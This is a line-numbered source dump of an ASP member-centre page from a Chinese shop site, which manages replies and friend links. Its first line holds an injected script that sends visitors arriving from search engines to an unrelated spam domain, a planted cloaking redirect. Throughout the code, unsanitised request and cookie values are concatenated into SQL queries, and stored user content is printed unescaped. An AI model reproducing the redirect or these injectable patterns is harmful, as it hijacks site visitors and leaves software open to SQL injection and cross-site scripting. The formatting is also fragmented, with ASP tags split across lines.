d:\wwwroot\wuchunhua\shop_reply.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="inc/conn.asp"-->
002:
<!--#include file="usercookies.asp"-->
003:
<!--#include file="inc/kqiqi_sub.asp"-->
004:
<!--#include file="inc/function.asp"-->
005:
<%
dim sc
006:
sc=Request("sc")
%
>
007:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
008:
<html xmlns="http://www.w3.org/1999/xhtml">
009:
<head>
010:
<meta http-equiv="Content-Language" content="zh-cn">
011:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
012:
<title>
<%
=title
%
>-会员管理中心-信息管理</title>
013:
<link rel="icon" href="
<%
=web
%
>/favicon.ico" type="image/x-icon" />
014:
<link rel="shortcut icon" href="
<%
=web
%
>/favicon.ico" type="image/x-icon" />
015:
<link href="inc/style.css" rel="stylesheet" type="text/css" />
016:
</head>
017:
<SCRIPT language=JavaScript>
018:
function CheckAll(form)
019:
{
020:
for (var i=0;i<form.elements.length;i++)
021:
{
022:
var e = form.elements[i];
023:
if (e.name != 'chkall' )
024:
e.checked = form.chkall.checked;
025:
}
026:
}
027:
function loadThreadFollow(t_id,b_id){
028:
var targetImg =eval("document.all.followImg" + t_id);
029:
var targetDiv =eval("document.all.follow" + t_id);
030:
031:
if ("object"==typeof(targetImg)){
032:
if (targetDiv.style.display!='block'){
033:
targetDiv.style.display="block";
034:
035:
}else{
036:
targetDiv.style.display="none";
037:
}
038:
}
039:
}
040:
//-->
041:
</SCRIPT>
042:
<body>
043:
<div id="Fmain">
044:
<div id="header">
045:
<%
call top()
%
>
046:
</div>
047:
<div class=kon></div>
048:
<div id="Uleft">
049:
<div id=FFTit class=F12bold>会员管理中心</div><div id=FFContent><div Class='FFdiv'>
050:
<!--#include file=shop_userleft.asp-->
051:
</div></div></div>
052:
<div id="Uright">
053:
<div id=FFTit class=F12bold>回复信息/友情链接管理</div><div id=FFContent><div Class='FFdiv'>
054:
<%
if request("gl")="link" then
%
>
<%
055:
if trim(request("linkdel"))="1" then
056:
id=trim(request("selectedid"))
057:
if trim(id)="" then
058:
response.write "<script language=JavaScript>" & chr(13) & "alert('没有选择记录！');" & "history.back()" & "</script>"
059:
response.end
060:
end if
061:
str2=split(id,",")
062:
set rs=server.createobject("adodb.recordset")
063:
for i=0 to ubound(str2)
064:
sql="select * from [kqiqi_shop_link] where id="&cstr(str2(i))
065:
rs.open sql,conn,1,1
066:
'On Error Resume Next
067:
rs.close
068:
sql="delete from [kqiqi_shop_link] where id="&cstr(str2(i))
069:
rs.open sql,conn,1,3
070:
next
071:
response.write "<script language=JavaScript>" & chr(13) & "alert('删除链接成功！')</script>"
072:
response.write "<meta http-equiv=refresh content=""1;URL=shop_reply.asp?gl=link"">"
073:
response.end
074:
rs.close
075:
set rs=nothing
076:
closedb
077:
end if
078:
079:
080:
081:
dim add,comgg
082:
add=Request("add")
083:
username=request.cookies("kqiqi")("username")
084:
set rs = Server.CreateObject("ADODB.RecordSet")
085:
sql="select * from [kqiqi_shop] where username='"&username&"'"
086:
rs.open sql,conn,1,1
087:
if rs.eof then
088:
response.write "<br>"
089:
response.write "<li>参数错误！"
090:
response.end
091:
end if
092:
if add="ok123" then
093:
set rs=server.createobject("adodb.recordset")
094:
sql = "select * from kqiqi_shop_link"
095:
rs.open sql,conn,1,3
096:
rs.addnew
097:
rs("username")=username
098:
rs("web")=HtmlEncode(trim(request("web")))
099:
rs("url")=HtmlEncode(trim(request("url")))
100:
rs("webabout")=HtmlEncode(trim(request("webabout")))
101:
rs("jrsj")=now()
102:
rs.update
103:
response.write "<li>恭喜你，链接添加成功！！"
104:
response.write "<meta http-equiv=refresh content=""1;URL=shop_reply.asp?gl=link"">"
105:
end if
106:
%
> <SCRIPT language=javascript>
107:
<!--
108:
function CheckForm()
109:
{
110:
if(document.thisForm1.web.value.length<1)
111:
{
112:
alert("网站名称不能为空!");
113:
return false;
114:
}
115:
if(document.thisForm1.url.value.length<1)
116:
{
117:
alert("网站地址不能为空!");
118:
return false;
119:
}
120:
if(document.thisForm1.webabout.value.length<1)
121:
{
122:
alert("网站简介不能为空!");
123:
return false;
124:
}
125:
}
126:
127:
//-->
128:
</SCRIPT>
129:
<SCRIPT language=JavaScript>
130:
function showoperatealert(id)
131:
{
132:
if (id==1)
133:
{
134:
135:
{
136:
thisForm.target='_self';
137:
thisForm.action="shop_reply.asp?gl=link&linkdel=1";
138:
thisForm.submit();
139:
}
140:
}
141:
}
142:
143:
function CheckAll(form)
144:
{
145:
for (var i=0;i<form.elements.length;i++)
146:
{
147:
var e = form.elements[i];
148:
if (e.name != 'chkall' )
149:
e.checked = form.chkall.checked;
150:
}
151:
}
152:
//-->
153:
</SCRIPT>
154:
<table width="100%" cellspacing="0" cellpadding="0"><tr><td width="18%"> </td><td width="82%">
<%
if request("edit")="1" then
155:
id=trim(request("selectedid"))
156:
set rs=server.createobject("adodb.recordset")
157:
sql = "select * from kqiqi_shop_link where id="&id&""
158:
rs.open sql,conn,1,3
159:
if request("editok")="1" then
160:
rs("web")=HtmlEncode(trim(request("web")))
161:
rs("url")=HtmlEncode(trim(request("url")))
162:
rs("webabout")=HtmlEncode(trim(request("webabout")))
163:
rs.update
164:
response.write "<li>修改成功！！"
165:
'response.write "<meta http-equiv=refresh content=""1;URL=shop_reply.asp?gl=link"">"
166:
end if
167:
%
> <form method="POST" name="thisForm1" action="?gl=link&edit=1&editok=1&selectedid=
<%
=rs("id")
%
>" style="line-height: 100%; margin-top: 0; margin-bottom: 0"><p style="line-height: 220%; margin-top: 0; margin-bottom: 0">网站/店铺名称:<input type="text" name="web" size="30" maxlength="10" value="
<%
=rs("web")
%
>"> *</p><p style="line-height: 220%; margin-top: 0; margin-bottom: 0">网站/店铺地址:<input type="text" name="url" size="30" value="
<%
=rs("url")
%
>"> *</p><p style="line-height: 220%; margin-top: 0; margin-bottom: 0">网站/店铺简介:<input type="text" name="webabout" size="36" maxlength="30" value="
<%
=rs("webabout")
%
>"> *</p> <input border="0" onclick="javascript:return CheckForm();" type="submit" value="确认修改" name="add"> </form>
<%
168:
'rs close
169:
'set rs=nothing
170:
else
%
> <form method="POST" name="thisForm1" action="?gl=link&add=ok123" style="line-height: 100%; margin-top: 0; margin-bottom: 0"><p style="line-height: 220%; margin-top: 0; margin-bottom: 0">网站/店铺名称:<input type="text" name="web" size="30" maxlength="10"> *</p><p style="line-height: 220%; margin-top: 0; margin-bottom: 0">网站/店铺地址:<input type="text" name="url" size="30" value="http://"> *</p><p style="line-height: 220%; margin-top: 0; margin-bottom: 0">网站/店铺简介:<input type="text" name="webabout" size="36" maxlength="30"> *</p> <input border="0" onclick="javascript:return CheckForm();" type="submit" value="添加新链接"> </form>
<%
end if
%
> </td></tr><tr><td colspan="2"><table border="0" cellpadding="0" style="border-collapse: collapse" width="100%" height="1" bordercolor="#808000"><FORM name=thisForm action="" method=POST>
<%
171:
dim k,kqiqi
172:
k=1
173:
set rs = Server.CreateObject("ADODB.RecordSet")
174:
kqiqi=trim(request("kqiqi"))
175:
sql="select * from [kqiqi_shop_link] where username='"&username&"' order by jrsj desc"
176:
rs.open sql,conn,1,1
177:
if rs.eof then
178:
response.write "<li>没有链接记录"
179:
end if
180:
if request("page")="" then
181:
ThisPage=1
182:
else
183:
ThisPage=request("page")
184:
end if
185:
rs.Pagesize=10
186:
Pagesize=rs.Pagesize
187:
Allrecord=rs.Recordcount
188:
Allpage=rs.Pagecount
189:
if ThisPage<1 then
190:
ThisPage=1
191:
end if
192:
On Error Resume Next
193:
rs.move (ThisPage-1)*Pagesize
194:
%
> <tr><td height="25" align="center" class="userbg">选择</td><td class="userbg">网站名称</td><td class="userbg"><p align="center">网站地址</td><td class="userbg"> </td></tr>
<%
195:
dim uid
196:
do while not rs.eof
197:
uid=rs("id")
198:
%
> <tr><td width="8%" height="24" align="center" style="border-bottom:1px solid #CCCCCC; border-top-width: 1px; border-left-width:1px; border-right-width:1px"><INPUT type=checkbox value="
<%
=uid
%
>" name=selectedid></td><td width="27%" height="24" style="border-bottom:1px solid #CCCCCC; border-top-width: 1px; border-left-width:1px; border-right-width:1px"><a target="_blank" href=
<%
=rs("url")
%
>>
<%
=rs("web")
%
></a></td><td width="29%" height="24" align="center" style="border-bottom:1px solid #CCCCCC; border-top-width: 1px; border-left-width:1px; border-right-width:1px"><a target="_blank" href=
<%
=rs("url")
%
>>
<%
=rs("url")
%
></td><td width="32%" height="24" style="border-bottom:1px solid #CCCCCC; border-top-width: 1px; border-left-width:1px; border-right-width:1px"><p align="center"><a href="shop_reply.asp?gl=link&selectedid=
<%
=uid
%
>&edit=1">修改</a> | <a href="shop_reply.asp?gl=link&selectedid=
<%
=uid
%
>&linkdel=1">删除该链接</a></td></tr>
<%
199:
k=k+1
200:
rs.movenext
201:
if k>=Pagesize then exit do
202:
loop
203:
rs.close
204:
set rs=nothing
205:
closedb
206:
%
> <tr><td width="100%" height="1" colspan="4"><table cellpadding="0" cellspacing="0" width="100%"><tr><td height="25" width="395" colspan="3"><p align="left"> <INPUT onclick=CheckAll(this.form) type=checkbox value=on name=chkall>选中所有<input onclick=javascript:showoperatealert(1) type="submit" value="删除" name="B2"></td><td height="25" width="200"><p align="center"> </td></tr><tr><td height="25" width="151" align="center" class="userbg">共有 <font color="#CC5200">
<%
=Allrecord
%
></font> 条记录</td><td height="25" width="126" align="center" class="userbg">共 <font color="#CC5200">
<%
=Allpage
%
></font> 页</td><td height="25" width="118" align="center" class="userbg">现在是第 <font color="#CC5200">
<%
=ThisPage
%
></font> 页</td><td height="25" width="200" align="center" class="userbg">
<%
207:
if ThisPage<2 then
208:
response.write "<font color=""#808080"">首页</font> "
209:
response.write "<font color=""#808080"">上一页</font> "
210:
else
211:
response.write "<a href=?gl=link&page=1>首页</a> "
212:
response.write "<a href=?gl=link&page="&ThisPage-1&">上一页</a> "
213:
end if
214:
if Allpage-ThisPage<1 then
215:
response.write "<font color=""#808080"">下一页</font> "
216:
response.write "<font color=""#808080"">尾页</font> "
217:
else
218:
response.write "<a href=?gl=link&page="&(ThisPage+1)&">下一页</a> "
219:
response.write "<a href=?gl=link&page="&Allpage&">尾页</a> "
220:
end if
221:
%
></td></tr><tr><td height="1" width="595" colspan="4"><p align="right"></td></tr></table></td></tr>
<%
'end if
%
> </form></table></td></tr></table>
222:
<%
'end if
%
>
<%
else
%
>
223:
<table class="td" cellpadding="0" width="791">
224:
225:
<%
226:
if sc<>"" then
227:
username=request.cookies("kqiqi")("username")
228:
'if trim(request("sc"))="ok" then
229:
id=trim(request("selectedid"))
230:
if trim(id)="" then
231:
response.write "<script language=JavaScript>" & chr(13) & "alert('没有选择记录！');" & "history.back()" & "</script>"
232:
end if
233:
str2=split(id,",")
234:
for i=0 to ubound(str2)
235:
set rs=server.createobject("adodb.recordset")
236:
sql="delete from [shop_reply] where id="&cstr(str2(i))
237:
rs.open sql,conn,1,3
238:
next
239:
response.write "<script language=JavaScript>" & chr(13) & "alert('删除信息成功！');" & "window.location='shop_reply.asp'" & "</script>"
240:
rs.close
241:
set rs=nothing
242:
closedb
243:
'end if
244:
else
%
> <FORM name=thisForm action="?" method=POST><tr><td align="center" class="userbg" width="40">编号</td><td align="center" class="userbg" width="411">回复内容</td><td align="center" class="userbg" width="80">留言类型</td><td align="center" class="userbg" width="80">回复者</td><td align="center" class="userbg" width="80">回复时间</td><td align="center" class="userbg" width="40"><span style="text-decoration: none">删除</span></td>
245:
<td align="center" class="userbg" width="40">选择</td></tr>
<%
246:
i=0
247:
ii=1
248:
if request("page")="" then
249:
ThisPage=1
250:
else
251:
ThisPage=request("page")
252:
end if
253:
username=request.cookies("kqiqi")("username")
254:
set rs = Server.CreateObject("ADODB.RecordSet")
255:
sql="select * from [shop_reply] where sjname='"&username&"' order by hfsj desc"
256:
rs.open sql,conn,1,1
257:
if rs.eof then
258:
response.write "<tr><td></td><td><li>没有记录</td></tr>"
259:
else
260:
rs.Pagesize=10
261:
Pagesize=rs.Pagesize
262:
Allrecord=rs.Recordcount
263:
Allpage=rs.Pagecount
264:
if ThisPage<1 then
265:
ThisPage=1
266:
end if
267:
On Error Resume Next
268:
rs.move (ThisPage-1)*Pagesize
269:
do while not rs.eof
270:
b=trim(rs("b"))
271:
bb=len(b)
272:
id=rs("id")
273:
username=rs("username")
274:
%
> <tr><td align="center" height="40" style="border-bottom:1px #CCCCCC dotted">
<%
=i+1
%
> </td>
275:
<td id="ff" height="40" style="border-bottom:1px #CCCCCC dotted;width:410px;word-wrap:break-word">
276:
<script type="text/javascript">
277:
/* <![CDATA[ */
278:
function toBreakWord(intLen){
279:
var obj=document.getElementById("ff");
280:
var strContent=obj.innerHTML;
281:
var strTemp="";
282:
while(strContent.length>intLen){
283:
strTemp+=strContent.substr(0,intLen)+" ";
284:
strContent=strContent.substr(intLen,strContent.length);
285:
}
286:
strTemp+=" "+strContent;
287:
obj.innerHTML=strTemp;
288:
}
289:
if(document.getElementById && !document.all) toBreakWord(30)
290:
/* ]]> */
291:
</script>
292:
<%
=rs("neirong")
%
></td>
293:
<td align="center" height="40" style="border-bottom:1px #CCCCCC dotted">
<%
if rs("hflx")=1 then
%
>信息留言
<%
else
%
><a target="_blank" href="show_shop.asp?m=
<%
=rs("xxusername")
%
>">网站评论</a>
<%
end if
%
> </td><td align="center" height="40" style="border-bottom:1px #CCCCCC dotted">
<%
if username<>"" then
%
><a target="_blank" href=shop/shop2.asp?m=
<%
=username
%
>>
<%
=username
%
>
<%
else
%
>匿名
<%
end if
%
></td><td align="center" height="40" style="border-bottom:1px #CCCCCC dotted">
<%
=datevalue(rs("hfsj"))
%
></td><td align="center" height="40" style="border-bottom:1px #CCCCCC dotted"><a href="?selectedid=
<%
=id
%
>&sc=ok"><font color="#FF0000">删除</font></a></td><td align="center" height="40" style="border-bottom:1px #CCCCCC dotted"><input type="checkbox" name="selectedid" value="
<%
=id
%
>"></td></tr>
<%
294:
i=i+1
295:
rs.movenext
296:
if i>=Pagesize then exit do
297:
loop
298:
end if
299:
%
> <tr><td width="785" height="25" colspan="7"><table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" height="49"><tr><td height="25"><p align="center"> </td><td height="25"><p align="center"> </td><td height="25"><p align="right"> </td><td height="25"><p align="center"><INPUT onclick=CheckAll(this.form) type=checkbox value=on name=chkall>选中所有记录 <input onclick=javascript:showoperatealert(1) type="submit" value="删除" name="sc"></td></tr><tr><td height="25" align="center" class="userbg">共有 <font color="#CC5200">
<%
=Allrecord
%
></font> 条记录</td><td height="25" align="center" class="userbg">共 <font color="#CC5200">
<%
=Allpage
%
></font> 页</td><td height="25" align="center" class="userbg">现在是第 <font color="#CC5200">
<%
=ThisPage
%
></font> 页</td><td height="25" align="center" class="userbg">
<%
300:
if ThisPage<2 then
301:
response.write "<font color=""#808080"">首页</font> "
302:
response.write "<font color=""#808080"">上一页</font> "
303:
else
304:
response.write "<a href=?page=1>首页</a> "
305:
response.write "<a href=?page="&ThisPage-1&">上一页</a> "
306:
end if
307:
if Allpage-ThisPage<1 then
308:
response.write "<font color=""#808080"">下一页</font> "
309:
response.write "<font color=""#808080"">尾页</font> "
310:
else
311:
response.write "<a href=?page="&(ThisPage+1)&">下一页</a> "
312:
response.write "<a href=?page="&Allpage&">尾页</a> "
313:
end if
314:
%
></td></tr></table></td></tr></form>
<%
end if
%
> </table>
<%
end if
%
> </div></div></div>
315:
<br style="clear:both;" />
316:
<div class=kon></div>
317:
<div class=kon></div>
318:
<div id="footer">
319:
<%
320:
call bottom()
321:
%
>
322:
</div>
323:
</div>
324:
325:
</body>
326:
</html>
327:
<%
328:
rs.close
329:
set rs=nothing
330:
%
>
331:
332: